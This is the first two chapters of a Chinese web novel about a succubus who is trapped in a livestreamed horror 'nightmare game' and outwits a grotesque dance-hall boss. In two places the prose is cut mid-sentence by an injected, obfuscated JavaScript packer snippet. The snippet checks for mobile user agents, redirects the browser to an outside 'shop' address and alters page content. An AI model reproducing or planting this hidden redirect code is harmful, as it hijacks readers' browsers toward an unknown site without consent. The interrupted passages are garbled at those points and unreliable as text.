《魅魔渣攻,玩转噩梦游戏[无限]》 1. 第 1 章 【错误警报!】 【检测到未知存在!个体资料检索中……】 【“噩梦游戏”绑定失败,强制适配中……】 【叮咚~】 【恭喜您,强绑成功。】 不好,有寄生虫蹭上来了! 叶绯的意志开始挣扎,却无法从黑暗的泥淖中挣脱,只能任由这莫名其妙的声音在他脑中继续播报。 【为了保障您的游玩体验,您已觉醒初始技能“美男子”,请点击进入属性面板查看详情。】 【E级噩梦副本《夜莺歌舞厅》已载入!】 【《夜莺歌舞厅》:世界是座巨大的养殖场,里面生存的不是牛马就是鸡鸭,而你,又在其中扮演着什么角色?】 【这是您的新手副本,噩梦游戏赋予您唯一的主线任务便是生存,希望三日三夜的试玩之旅能让您惊为天人,自此上瘾!】 【您的个人直播间已开启,直播间热度将影响您的副本结算奖励。】 【弹幕已自动开启,玩家可对弹幕样式进行调整。】 【亲爱的见习玩家,以下为《噩梦游戏娱乐须知》,请您务必遵守:噩梦从不设限,畅享无尽可能!请您沉沦至死,助力噩梦成真!】 “喀啦啦、喀啦……” 嘈杂的电流音一下接着一下凿进脑海里,终于将叶绯的意识从粘稠的黑暗中释放出来。 视线的角落处悬浮着一面半透明的光屏。 【叶绯(见习玩家)】 【污染度:0】 【积分:0】 【技能:美男子LV.MAX(被动技能,只有美丽的雄性生物才能获得的技能,它既可以是祝福,也可以是诅咒,美丽的身边总是伴随着幸运与灾祸,你……能将这份美丽为你所用么?)】 ……莫名其妙的技能,魅魔需要这种东西吗,左右脑互搏似的。叶绯面无表情地想。 惨白的灯光下,叶绯面前古旧的铜镜里倒映出一张俊美妖异却毫无血色的面容。 定睛凝视,镜子里的那张脸出现了微妙的错位,变得陌生又丑陋,两颗眼珠里透出的阴冷窥视像蛆虫一样从铜镜裂缝里往外钻。 叶绯笑了,露出森白的獠牙,瞳孔中闪过一抹血光,磁性慵懒的嗓音里带着不加掩饰的暴虐:“丑东西,谁给你的胆子,让你敢亵渎我这张伟大的脸?” 镜子里的东西产生了一种被掠食者锁定的危机感,它敏锐地觉察到眼前的“人类”很不好惹。 镜子里的东西离开了。 叶绯环顾四周。 本就狭窄的化妆间因堆满了杂物而显得更加逼仄,空气里弥漫着一股劣等香灰混着发霉墙纸的气味,扭曲的力量如附骨之疽般依附在这片空间的每一个角落。 不对劲。 叶绯眯了眯眼。 他本该去人界的,为了这次人界之旅,他把多年积攒的家当全都投进去了。他确定穿越通道正常开启,人界坐标也定准了,连自己落地以后要先去哪个人类国家物色猎物都想好了。 结果睁开眼,人界没去成,倒是被拽进了一个诡域里。 诡域,即诡族的领域,如恶性肿瘤般侵蚀着魔界的各个角落,一经发现,就会立刻遭到铲除。 而诡族,并非完全指代智慧生命体死后变成的鬼魂,它们是来自世界外侧的诅咒,可能以一只被污染的生物、一个被扭曲的概念、一道被异化的法则或是一种纯粹的反常现象出现在这世上。 哪怕叶绯是一只魅魔,如此形单影只地闯入诡域内,也是噩梦一样的麻烦了…… 忽然,头顶的广播传来一道冰冷的机械音,打断了叶绯的深思。 “各位人员请注意,距离夜莺歌舞厅的营业时间还剩十分钟,请尽快更换服装,做好准备。重复一遍,请尽快更换服装——” 闻言,叶绯视线落在墙角挂着的一排衣服上。 确切地说,那是一排曾经是衣服的东西。 灰败的、发霉的、腐烂的、淌血的、生虫的……这些破布头仿佛是被谁从乱葬岗里刨出来后,又重新挂在了这里。 叶绯嫌恶地皱了皱眉。 要他抛下自尊穿上这些肮脏的东西,然后去取悦一些不知道是什么的货色? 很好,他浑身的毒腺已经蓄势待发了! 在叶绯这么想着的时候,零星几条弹幕飘在了弹幕上。 [嘻嘻,看我发现了什么?一个颜值玩家!大家快来赌死法!] [前排兜售卤人手、油炸脚趾,先到先得。] [新的下饭视频即将出现,怎么能够停滞不前,拼命厮杀,竭尽全力,我会来到你身边~(大家一起唱出来)] [这个叫叶绯的玩家长得很符合我审美啊,关注了,我宣布要用他的死亡录像冲冲冲冲到厌倦嘻嘻~] ……想什么来什么。 盯着低熟又恶俗的文字看了一会儿,叶绯暗忖,这些就是仗着他的巴掌没法穿透屏幕,就在屏幕背后上蹿下跳的贱货们吗? 他内心当下便多了几分了然,面上似笑非笑地问道:“你们是诡?” [你认得我们?] [这个人类好像有点见识。] [咦~什么是“诡”?有谁知道吗?] “我应该换个说法,在我的认知里你们是诡。”叶绯意味深长地勾了勾嘴角,“即使你们自己把自己当大粪,我也没有纠正你们扭曲思想的义务,要我叫你们大粪吗?” [……小东西就喜欢作死。] [待会儿你的小命就会像奶油一样化开!] “待会儿?”叶绯敏锐地抓住了一个关键词,略一品味后,笑了。 这个笑里藏着钩子,犹如一只神秘优雅的猫科动物在戏弄爪下猎物。 “为什么不趁现在,而是‘待会儿’……莫非,是因为你们做不到吗?” 虽然是反问句,但叶绯用的是陈述的语气。 “你们没办法杀了我,就只能无能狂怒,寄希望于诡域里的某只诡来朝我动手。” 他双手环抱,慢条斯理地抬起眼皮,姿态里带着一种从骨子里渗出来的讥诮。 “连进角斗场都没资格的废物们能闭嘴吗?你们犯贱我都扇不到你们,搞得我很难办啊……” 叶绯那遗憾的表情和嘲讽的语气,无疑是冲着直播观众的脸左右开弓。 一时间,弹幕疯涨,感叹号仿佛枪林弹雨,满屏都是观众们难以宣泄的戾气。 [啊啊啊啊为什么我不在这个副本里,我要将他做成肉罐头!!!] [受不了了,这直播我不会退出去一秒,我要亲眼看着这个贱人去死!] [哀嚎求救的玩家见多了,头一次有就这么憋屈的观看体验,恨了恨了!] 叶绯都能想象对面一帮奇形怪状的诡气得直挠屏幕的样子,怪好玩儿的,不过,弹幕透露的内容也证明了他猜得不错。 观众只有观看权和弹幕互动权,没办法直接影响到副本。 这着实是个好消息。 正当叶绯打算进一步套话时,广播又响了。 机械音里带上了些许急促:“请尽快——请尽快——” “知道了。”叶绯不耐地摆了摆手,从地上随手捡了根铁棍,开始扒拉衣服架子。 如果实在找不到合适的衣服,怎么办呢? 干脆把待会儿见到的第一只诡的诡皮撕下来当皮套穿好了…… 好在,拨弄几下乱七八糟的破布,叶绯在角落的阴影里发现了一抹光亮。 这抹亮光来自于一套月牙白男士礼服。 面料入手,触感细腻冰凉,宛若刚撕下来的少年皮肤,流畅而锋利的线条勾勒出宽阔的肩膀和窄紧的腰身,领口内侧绣着一排金丝花边,绣工精细。 “好歹有件像样的,不算拉胯到底。”叶绯暗暗松了口气。 他现在穿的是一件黑色连体紧身款的魅魔军团作战服,只是在穿越途中,这件作战服被时空风暴损坏得七七八八了,只能勉强遮蔽一些要害位置,不至于叫他狼狈裸奔。 穿上礼服后,叶绯站在镜子前转了个圈,满意地点了点头。 还行,倒是不至于拖累他的美貌。 不光叶绯满意,观众们也对他选了这件礼服感到欣慰。 [眼光真好,选了件最漂亮的,嘻嘻~] [美丽的陷阱捕获了一只爱好美丽的愚蠢猎物。] [太好了,我最喜欢看无脑花瓶找死了!] [温馨提示,已经来不及换衣服了哦~] [旁白:此时还沉浸在喜悦中的叶绯并不知道,命运的馈赠早已在暗中标好了价格。] 此时,壁挂钟表的时间距离午夜零点越来越近…… “砰”的一声,化妆间大门被猛地从外推开。 一座穿着亮紫色连衣裙的肉山出现在门外,但以叶绯的眼光来看,那大概是一位男性。 [出现了,是花罗刹!] [穿最靓的衣服,撞最猛的诡!] 厚厚的妆容糊在花罗刹的脸上,将他的面容雕饰成了另一种模样,那双耷拉的眼皮下方是一双浑浊的眼球,里面泛着暴戾与阴冷。这已经不是化妆,而是在用化妆品掀起一场残忍的暴政,挞伐叶绯的审美! 见到叶绯后,花罗刹脸上横肉开始疯狂抖动,连带着身上的脂肪块也开始疯狂抖动。 “啪叽。” 腐烂生蛆的脂肪块如同熟透的果实般落在地上,汁水四溅。 “……”叶绯一整个战术后仰。 丑诡逼近,救救孩子!眼睛要被辣瞎了! 花罗刹上下打量叶绯一番后,下垂的嘴角缓缓上扬,最后扯出一抹森冷的笑:“哎哟喂,咱店里的头牌夜莺,今儿个穿得可真漂亮!妈妈为你骄傲……” “打住。” 叶绯发现花罗刹不仅长得很有攻击性,就连脏嘴里放的屁都格外猛烈,令他本就糟糕的心情火上浇油:“你又是什么垃圾?” 他唯一的妈妈只有魅惑法则,就连统率族群的魅魔领主都没资格自称是其他魅魔的妈妈,区区一个低贱又丑陋的诡,竟也敢亵渎魅惑法则? 烦死了!毁灭吧! 观众们对叶绯的疯狂感到震惊。 [卧槽,他活腻了?] [暴死倒计时开始!] [神入啊,看到他对花罗刹都这态度我就放心了。] [现在就敢骂尊贵的老板,big胆,以后他要什么我都不敢想!] 是的,叶绯对于看不上眼的东西一向是平等的。 观众一巴掌,花罗刹更是降龙十八掌,今天他要给全世界坏脸色。 “你——”花罗刹眼皮抽了抽,压根没想到有人竟敢如此顶撞自己,挤满横肉的脸上先是一僵,随后,阴毒的目光近乎化作实质,朝叶绯刺了过去。 可叶绯转头就对花罗刹释放出更加巨大的恶意,眼睛里仿佛流淌着浓稠的血色:“看什么看?再看把你眼珠子挖出来!” 叶绯已经觉得自己很委屈了,如果不是他现在魔力枯竭,他有必要和这个恶心的诡物在垃圾堆里废话? 统统抓起来碾成肉泥! 一“人”一诡的对峙使直播间愈发热闹,谁能想到事情竟然会变成这样? 观众们纷纷对暴言的叶绯感到惊为天人! [卧槽,这玩家什么来头啊,敢这么怼花罗刹?花罗刹一看就不是什么简单的诡吧!] [可能这就是不知者不畏吧。] [问题是花罗刹长得就很可怕啊,我看他是知男而上吧?] [笑亖,前面的那位,我一时间不清楚你有没有打错字。] [总之我这就让兄die集美们都过来观摩!] 一时间,叶绯的直播间热度节节攀升。 【恭喜见习玩家叶绯的直播间实时热度突破100,奖励随机道具一件。】 【获得随机道具:指甲油-闺中密弑】 随机奖励是指甲油? 净整些没有用的。 叶绯被系统的消息通知分了心,暂时收回了杀气。 而花罗刹也紧跟着退了一步,只是态度不情不愿的,似乎是碍于某种压力,脸上强撑的笑容跟死了全家一样难看。 “最可爱的小冤家,动作快点儿吧!有贵客点名道姓要你去服务,咱得早些过去,不能叫贵客等着!” 【触发支线任务:服务贵客】 【任务介绍:接客时间到~总之,先让自己从贵客手里活下来吧!】 【任务奖励:10积分】 【失败惩罚:死亡】 叶绯一点儿也不想做什么狗屁任务。 “能拒绝吗?”他双手环抱,站在原地不动。 但这句话仿佛触动了某项绝对不能违反的禁忌,一股连惨白粉底都无法遮盖的青黑色从花罗刹的皮肤下渗出来。 空气中开始飘起油腻的恶臭,整个化妆间都笼罩在一片压抑的死寂里。 冥冥之中,有一道恐怖的视线钉住了叶绯,扭曲的诡力丝丝缕缕地缠绕而来,要将他拖进无光的漩涡。 “你要拒绝?”花罗刹那肉山般的身躯往前挪动一步,阴毒浑浊的小眼睛仿佛要被肥肉挤出眼眶。 压力如海啸般从四面八方压迫而来,叶绯的后背沁出一层薄汗,却仍神色倨傲地冷嗤一声:“我偏要拒绝呢,你能杀了我?” “你没有拒绝的权利!拒绝,就死!” 花罗刹一张嘴,墨绿色的口气直勾勾喷向叶绯。 叶绯身手矫捷地往旁边一闪,身形几乎化作一道残影。 他是成功躲过了袭击,但他身后无辜的化妆桌哀嚎一声,被这股口气腐蚀殆尽,支离破碎地倒在地上。 诡域法则对诡的加持就是这么不讲道理,哪怕花罗刹在叶绯看来就如粪坑里的绿豆蝇一样卑贱不堪,此刻却依旧变成了需要他忌惮的强大存在。 [卧槽,他居然躲过了,这反应可不是一般人类有的!] [切,亏我还以为能看到他一点点变成骨头水的样子呢,哎……] [嘻嘻,继续硬刚啊,我看你能不能刚到死~] 余光掠过光屏里那一连串或是恶意或是兴奋的弹幕,叶绯忽然勾了勾嘴角。 就在花罗刹鼓胀着身躯,即将再次吐出一串口气时…… “还不带我去招待贵客?愣着干嘛,干不了就换个诡来!” 叶绯脸上写满了不耐烦:“看看你,嘴巴都闲出屁来了,还在这僵着,你还算个合格的老板吗?是不是没把贵客放在眼里?” 花罗刹:“……?” 观众:“……?” 叶绯这么大一顶帽子扣下来,直接把花罗刹给扣傻了。 观众们也寻思,要不要这么变脸啊请问呢,刚才是谁说不愿意去的?现在来这套,是不是冷脸洗内裤? 可不管怎样,叶绯终究是答应去招待贵客了。 花罗刹只能将嘴里那串蓄势待发的毒口气咽回肚子里,浮于面上的青黑色迅速褪去,空气中那股让叶绯不适的压力也立时消散。 “小家伙,妈妈就知道你是开玩笑的,下次千万不要和妈妈开这些要命的玩笑了,知道么?” 花罗刹端出一副慈祥的姿态,却没掩饰自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414933|200737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的遗憾。 ——遗憾叶绯太快改口,他没办法继续下手了。 对此,叶绯只幽幽地睨了花罗刹一眼。 “杂碎,最后一次警告你,别再一口一个妈妈了,听着怪恶心的。待会儿再让我听到一次,看我不拔了你的舌头。” [……勇就一个字,我只说一次。] [小嘴吧唧个不停啊,真想把这条淬了毒的舌头拔下来收藏。] [快笑活了,纯魔丸来的。] [666,我以为刚才的教训会让叶绯认清自己,重新做人,是我天真惹!] [还是头一次看到花罗刹吃了这么大的瘪啊哈哈哈哈~] 此时,花罗刹脸上的皱纹足够夹死十几只苍蝇了。 偏偏他奈何不了叶绯,至少招待贵客的大事当前,他暂时不能对叶绯做什么,只能把牙齿咬得咔咔作响,将汹涌到快溢出的恨意和杀意摁在心底,等待秋后算账的那一刻。 叶绯跟着花罗刹走出化妆间。 门外是一条长长的走廊,头顶的烛灯静静燃烧着不详的绿光。 墙壁上发黄的复古风墙纸已经半脱落了,两侧的包厢门紧闭着,从门缝里透出笑声、哭声、咒骂声,还有血肉被撕碎的闷响。 “物似主人形,确实是个和老板一样没有美感的破地方……”叶绯低喃一声,忽然像是意识到了什么,轻拍了一下自己的脑袋,懊恼道,“哎呀,我坏坏,不小心把真心话说出来了呢。” 花罗刹从鼻腔里挤出一串长长的黑气,眼见叶绯还没有住口的迹象,为了不让自己被生生气活,从身上扯下两团脂肪堵住了耳朵……嗯,世界顿时清净了。 见状,叶绯没好气地翻了个白眼:这诡做的,一点耐心都没有,果然成不了大事。 [气到诡的人常见,可把诡气到自绝听力的,叶绯算头一个了!] [花罗刹什么时候这么烂好心了,居然不拔了叶绯的小毒舌?] [没办法,头牌夜莺嘛,待遇肯定不一般。] 花罗刹闷头走路,叶绯不紧不慢地缀在后头,嘴里的垃圾话没停过,脑海中的阴谋诡计更是一个接着一个往外蹦。 就在刚刚,他似乎摸索出了这个诡域的一项重要法则。 即:对于上位者,可以出言不逊,但不能公然违抗。 所以,倘若他趁着花罗刹尚未觉察的时候动手偷袭,似乎不算违背诡域的法则……偷偷来的事情,可称不上“公然”。 越想,叶绯越觉得此事有尝试的价值! 毕竟他只是一个“有点胆量的柔弱人类”而已,清汤大老爷,他哪有动手的能力啊!他可以向恶魔发誓,他看到动手偷袭的人往哪个方向逃去了! 暗自盘算着时机,叶绯抬起手,五指在微光中显得温润如玉,整齐干净的指甲流露出乖巧的气质。 可就在某个瞬间,那只手陡然绷紧,像是一只停栖的蝴蝶骤然振翅,带着凌厉的风声扑向猎物。 3。 2。 1…… “轰!” 刺眼的光芒在视野内闪现。 伴随一道炸响,银白色雷光凭空轰落,将花罗刹的半个肥胖身躯劈成焦灰。 “唔……”叶绯吃痛地闷哼一声,匆匆收回了袭向花罗刹的那只手。 只见他白玉无瑕的皮肤上多出了一串狰狞的焦黑灼痕,正是那道突然出现的雷光波及到了他。 蕴含着净化与正义法则的雷光正是魅魔的克星,叶绯脑海中立刻浮现一抹糟糕的猜测。 难道是螳螂捕蝉,黄雀在后,一切都是那帮神族后裔设下的陷阱? 那厢花罗刹挨了一记偷袭后,和叶绯同时满面杀意地扭头,一诡一魔此刻竟有点该死的默契。 然而,叶绯在扭头后,神情一怔。 原本拧紧的眉头舒展开来,猩红双目里的怒火像断了电的灯泡,倏地熄灭,取而代之的是被瞬间点亮的惊喜之光。 视野尽头的走廊拐角处,立着一个高大的板寸青年。 即便是一身破烂也无法令青年的英俊外貌失色,他像是被锻造之神精雕细琢而成的男神塑像,眉骨阴影下是一双如磐石般肃穆的琥珀色双眼,有着超脱于年龄的稳重。 一股清澈却凛冽的灵力萦绕在青年的周身,那肯定是被命运所钟爱的人类,才会拥有的得天独厚的资质。 野生的极品人类出现了! 叶绯喉结耸动,被刻意压制的饥饿感和食欲一同涌了上来,化作无数只蚂蚁在他的血管和内脏里面来回攀爬、撕咬。 “快逃!”却见青年神色肃穆,朝叶绯的方向厉声喝斥道,“这里有我牵制住他!” 叶绯:…… 这人类,居然是来救自己的? 他们认识吗? 显然是不认识的,叶绯默默道,毕竟他从出生至今都没接触过任何一个活着的人类。 还是一个罕见的、乐于奉献的人类。 这可真是令魔……生气啊! 简直狗拿耗子,多管闲事! 本来就差一点点,他就可以成功偷袭花罗刹了,偏偏杀出个二愣子,触犯了诡域的法则,令花罗刹的力量再度得到诡域的加持。 如今的他,又不是花罗刹的对手了。 彻骨森寒的阴风忽然大作,风声中夹杂着道道凄厉的哀嚎,如刀片般划在叶绯的皮肤上。 叶绯往旁边后退几步,摆出一副逃跑的架势。 “你们,没人能走得了!”花罗刹脸上厚厚的妆容“啪嚓”一声碎裂开来,露出底下大片的烂肉与脓疮。 青年的行为就像是挤破了一个脓包,表皮破溃后,更加污浊恶心的东西从花罗刹本就丑陋的本貌中疯狂涌现——那是扭曲的诡域法则赐予他的、能随意决定底层员工生死的权力。 如果说花罗刹之前的丑,仅仅给人生理上的不适,那么现在,他的丑陋已经附着了精神污染,令青年失神怔忪。 轰轰轰! 又是几张符咒被青年下意识甩出,狭窄的走廊中雷光灼烁,青年瞳孔一颤,意识得以被重新唤醒。 意志力口感扎实!叶绯险些就吹了个口哨。 花罗刹生生承受着雷光的攻击,焦黑的身体没有复原,反而加速了腐化,令人作呕的腐臭弥漫开来,无数圆滚滚的蛆虫在他身上蠕动。 “你、死、定、了!!!” 青年接二连三的“作死”行径,令花罗刹对他的仇恨大过天,连监视叶绯的事都要往旁边放一放。 噼里啪啦…… 仿佛拉稀的黏糊声从花罗刹身上响起,那些肥嫩蛆虫顷刻间就完全变态为绿豆蝇。 数不清的绿豆蝇嗡嗡飞出,分化为两股,一股化作牢笼围绕住叶绯,另一股往青年的方向追击而去。 青年不语,只一味地扔出符咒。 狭窄的走廊对他来说勉强算是一个有力地形,倾泻而出的雷光瞬间便湮灭了大量拥挤的绿豆蝇,空气中充斥着一股难闻的焦臭味。 花罗刹的咆哮声令整片走廊连连颤动,他肥大的身躯如同一滩被倾倒出的烂肉,朝着青年飞扑过去。 而叶绯则被绿豆蝇挟持着飞往了另一个方向。 “你别死了!”我还要等着吃呢! 叶绯隔空朝青年喊了一声,也不管对方听没听见,他的视野便飞速变化,雷光与雷鸣声都渐渐微弱。 “他要是死了,算我倒霉,害我受伤的事情一笔勾销。”叶绯垂下眼,嘴角弯出一个意味不明的弧度,“他要是活着——” 叶绯没说完,只是心中升起一股预感。 他们很快就会再见面的。 2. 第 2 章 红色天鹅绒房间内,巨大的钻石吊灯熠熠生辉,留声机播放着靡靡之音。 传闻中的贵客还没有出现,但门口有那群绿豆蝇把守着,叶绯被困在包厢内出不去,就只能坐在真皮沙发上研究刚才获得的道具。 【道具(武器类):指甲油-闺中密弑】 【概念:少女情怀总是尸,是时候铲除那些该死的阻碍了。】 【使用说明:涂上指甲油后,默默祷告对于杀戮的渴望,指甲油就会赐予你宛若变身般强大的力量。ps.雄性生物也能无障碍使用该道具】 【副作用:为使用者增添一点少女心事……应该不要紧的吧?】 指甲油外观没什么特别的,小小的玻璃瓶里盛满了黑色粘稠液体,在晦暗的灯光下流动着腐血般浓稠黏腻的暗红。 拧开瓶盖,叶绯嗅到了一股玫瑰和尸香混合的奇异香调,有微弱的诡力飘散而出,试图攀附到他的身体上。 叶绯将瓶盖盖上,意念一动,不动声色地抹灭了那丝缠上来的诡力。 没有期待就没有失望。 如他所料,这玩意儿单作为武器而言,只是毫无用处的废品罢了,远比不上他的原生甲。 可就真的毫无作用么?那倒也不至于…… 观众见叶绯什么都不做,连房间都不去搜索一下,一副躺平等死的样子,立刻激情开麦。 [被刚刚的大战吓破胆了,连现成的道具都不用,是想要带进棺材里吗?] [你要是不想活了就赶紧明说,我要换直播间了,听说那边的追逐战很精彩,等你快死了我再回来看。] [还是喜欢你刚刚桀骜不驯的样子,肉质都散发着鲜活的气息。] [在吗,噎妃,说话!] [噎妃已死,有事烧纸。] “看你们贱的,我才休息一会儿,你们就摇着花手凑上来求扇了。”叶绯现在魔力枯竭,浑身无力,心情非常糟糕,但这不代表他彻底摆烂了。 就在刚刚,他已经思考出了破局之法。 一群低贱的诡,还想拿捏他?做梦! “嘶啦”一声,叶绯手上一个用力,真皮沙发被锐利的指甲划开一道大窟窿。 “吱呀——!?” 沙发底下突然传来一抹近似老鼠受惊的尖叫声。 叶绯低头,与一只眼球三目相对。 眼球惊惧地缩了缩瞳孔。 “真是个喜欢偷偷摸摸的小东西,我要怎么惩罚你才好呢?”叶绯目光幽暗,声音裹挟着温柔的杀意。 他居然没有注意到自己坐着的沙发底下还藏着一只小诡,真是太大意了。 他们离得这么近,他都没有感受到小诡的气息,说明这只小诡很擅长隐匿…… “吱吱吱!”沙发诡躲避着叶绯勾来的手指,连带着整张沙发都像摇摇椅一样晃动起来。 【触发支线任务:沙发恐惧症】 【任务介绍:黑暗中,沙发里隐藏的东西在蠢蠢欲动,它发现了你,怎么办怎么办怎么办……】 【任务奖励:3积分】 【失败惩罚:未知】 怎、么、办? 叶绯嘴角的弧度逐渐加深。 在观众的视线无法触及的沙发内部,叶绯那只手的指节骤然拉长,皮肤底下的指骨翻涌、隆起,将那层美丽的皮生生从内部撕裂,覆盖上漆黑的鳞片,指甲也随之变黑、变硬、弯曲成钩状…… 整个过程不到半秒,沙发诡甚至没来得及反应,魔爪已经刺进了它的皮肉里。 “吱呀——!” 疼痛让沙发诡剧烈地抽搐,紧接着,大量魅魔毒素注入它的体内,令它迅速瘫软下去,像一袋被抽空的破布袋。 过了几秒,那只魔爪的骨节缩短,利爪褪回浅淡的粉白,皮肤从底下翻上来,把狰狞的黑色鳞甲重新盖住…… 叶绯漂亮的手又变回来了。 他将沙发诡从沙发里拽出来,扔到地上。 那是一团没有皮肤的血肉,冒着微微的热气,筋肉和血管如同被剥开的果实般展露在外,一颗眼球突兀地镶嵌在上面。 它没有嘴,无法说话,但叶绯能感觉到它在用微弱的蠕动表达求饶……以及,崇敬。 叶绯的毒,腐蚀的不仅是猎物的身体,还有灵魂。 魅魔,魅惑法则的眷属一族,代表了事物散发的诱惑力与吸引力使神智混乱、情感臣服、生理依赖的特性。 [额,好弱的诡,被人一抓就动不了了,能弱成这样确实触及老娘的知识盲区了……] [原来沙发里还藏着这小东西啊,是副本专门给玩家分配的吉祥物吗?] [小东西长得还怪萌的,头一次对同类生出食欲惹!] [很少有人活到这里,大家还真没看过这个支线,惊喜!] 叶绯也觉得事情突然变得有意思了起来。 他本打算捕获一只绿豆蝇充当使魔,强行从花罗刹那儿抢夺蝇群的控制权。 但这样一来,他势必会透支魔力,导致身体变得更加虚弱。 所以沙发诡的出现,着实是替他解决了一个不小的难题——这个小诡说不定能替代真正的贵客呢。 思及此,叶绯对沙发诡变得和颜悦色几分。 “小东西,既然你是从沙发里出来的独眼肉团子,就叫你……” 见沙发诡瞳孔放大,一副期待的模样,叶绯略微停顿了一秒,拍板道:“就叫你龟龟吧,多可爱啊。” “你们说对不对,龟龟?”叶绯视线落在弹幕上,嘴角扬起一抹嘲讽的弧度,仿佛在与观众隔空对视。 观众愤而出动。 [奇耻大辱,我感觉被影射了,他该不会当大家都是龟孙吧?] [卧槽!我确实太小瞧这个人类了!] [沙发诡,你不准答应,我不准你当叶绯的龟奴!] 令观众遗憾的是,即使弹幕里喊出再多的呼声让沙发诡不要答应叶绯,沙发诡都看不到。 它欢快地应下了“龟龟”这一新名字,如果不是没有尾巴的话,只怕这会儿已经要围着叶绯狂摇尾巴了。 叶绯俯视着新鲜出炉的小奴仆:“龟龟,既然你一直呆在这里,你的身份肯定是贵客吧?” “吱。”沙发诡瞳孔缩了缩,表示否认。 ……诚实是诚实,但也不够机灵。 叶绯面无表情地加重了语气:“我说你的身份,肯、定,是贵客吧?” “……吱!”沙发诡恍悟,放大的瞳孔几乎占据了半个眼球,对叶绯的命令表示充分肯定。 主人说什么,它就应什么! 【支线任务:沙发恐惧症(已完成)】 【完成情况:沙发诡对你的好感度达到100,沙发诡已成为你忠实的仆从。】 【获得奖励:3积分】 叶绯心情大好,用黑色皮靴的靴底蹭了蹭沙发诡:“乖~” 直到此时,观众才意识到叶绯打算干什么,弹幕顿时如轰炸般满屏乱飞。 [卧槽,还能这样?!] [人有多大胆,地有多大产。] [不对吧,要拿这小东西伪装贵客,他怎么敢的?] [待会儿花罗刹回来就把你们俩骨灰都给扬了。] “真的吗?知道后果的我好怕怕噢~”叶绯没好气地翻了个白眼。 花罗刹那贱货在对付他之前,先想想自己该怎么应付贵客吧! 靠近房门,绿豆蝇的嗡鸣声像海啸一样拍过来,震得叶绯耳膜发疼。 密密麻麻的网格状复眼里倒映着叶绯的身影,似乎是在警告他好好呆着,不准再往前一步。 沙发诡怯懦地往叶绯的脚后缩了缩。 用余光瞥了眼沙发诡,叶绯眉头一皱。 是他的魅惑弱化了,还是沙发诡太怂包了?区区一个奴仆,居然没有勇气为了高贵的魔主奉献生命…… 叶绯心里不满,一脚将沙发诡踹到前面。 “开路!” 沙发诡直直飞到绿豆蝇中间,惊恐尖叫:“吱呀!!!” 绿豆蝇们没有进攻,也没有后退,只是悬停在半空中,触须朝着沙发诡微微颤动。 很快,嗡鸣声变了。 不再是威胁性的示威,而是掺杂了困惑的低吟。 好像、是贵客……? 为什么是好像?因为它们看到这团软乎乎的弱小血肉正努力把自己缩得更小,恨不得原地消失,太过弱小了。 贵客理应是能够睥睨它们的强大存在! 可偏偏,它们的确从沙发诡身上感受到了纯正的贵客气息。 好矛盾,无法理解! 该怎么办、怎么办、怎么办…… “还挡在这里做什么?都滚开!挡贵客的路、质疑贵客的决定,谁给你们这些小虫子的勇气?” 叶绯一声喝斥,绿豆蝇群倏地一静。 他的话说到了点子上,让灵智有限的绿豆蝇们立刻下了判断:既然气息没有错,那么眼前这个诡,一定是改变了外形的贵客! 守在门口的绿豆蝇们如涟漪般四散开来。 见状,叶绯薄唇边闪过一抹轻蔑而满足的笑意。 目前的情况完美符合了他的猜测:沙发诡在一群没什么灵智的绿豆蝇面前,可以等同于贵客! “现在贵客要带我去别的地方转转,你们就……”叶绯挥挥手,忽然想到什么,停顿了一下,眼底仿佛燃起了两点幽暗鬼祟的阴火。 “你们就直接去死。”叶绯轻慢的语气里浸着浓稠的恶意。 空气中的嗡鸣声顷刻间变了调。 整齐划一的嗡鸣变得杂乱无章,绿豆蝇群的秩序瞬间崩溃。它们在空中疯狂地打着旋,互相撞击,混乱的嗡嗡声里带着哀求,仿佛是在询问自己为什么要死。 “因为贵客觉得你们很碍眼,打扰了它的兴致。”叶绯笑眯眯地说,“既然知道理由了,可以请你们别犹豫了,快点消失好吗?你们应该承担起满足贵客需求的义务吧?” 砰! 伴随着第一只绿豆蝇的炸裂,宛如在寂静之中点燃的第一颗鞭炮。 第二只、第三只……越来越多的绿豆蝇在短时间内自爆,噼噼啪啪的声响连成一片,漫天的黑色粉尘弥漫开来。 这一幕仿佛是对于叶绯的一次庆贺。 [这不可能!!!] [花罗刹的蝇灾怎么可能这么简单就被破除了!] [一定是有别的什么诡给我遮眼了,才让我看到这种离谱的幻觉!] 隔着屏幕,叶绯都仿佛听到了观众的尖锐爆鸣。 他迅速走出房门:“事实证明,没什么不可能的,不是吗?” [不对头啊,很不对头,他真的是人类吗?] [顺利得像开了挂……] [严重怀疑噎妃是天龙人!] [你们都说他都是妃了,那肯定是脱离群众了啊!] 与此同时,叶绯还收到了一条出乎他意料的任务信息。 【支线任务:整治蝇灾(已完成,和玩家卫沉锋共享任务)】 【任务介绍:大量的绿豆蝇聚集在歌舞厅内,顾客们不胜厌烦,纷纷投诉,是时候该整治一下了。】 【完成情况:过量的蝇灾终于得到了遏制,要命的嗡鸣、无处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414934|200737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不在的窥视全都消失了。 】 【获得奖励:4积分(按贡献分配积分)】 任务信息透露了很多东西,比如,绿豆蝇作为花罗刹监视整座歌舞厅的眼线已经完全消失。 再比如,那个叫卫沉锋的人类青年还活着,不然的话,现在就应该是他叶绯独占全部积分了。 ……真想要快点找到卫沉锋啊!那个强大又美味的极品人类,最适合成为他的奴仆了! 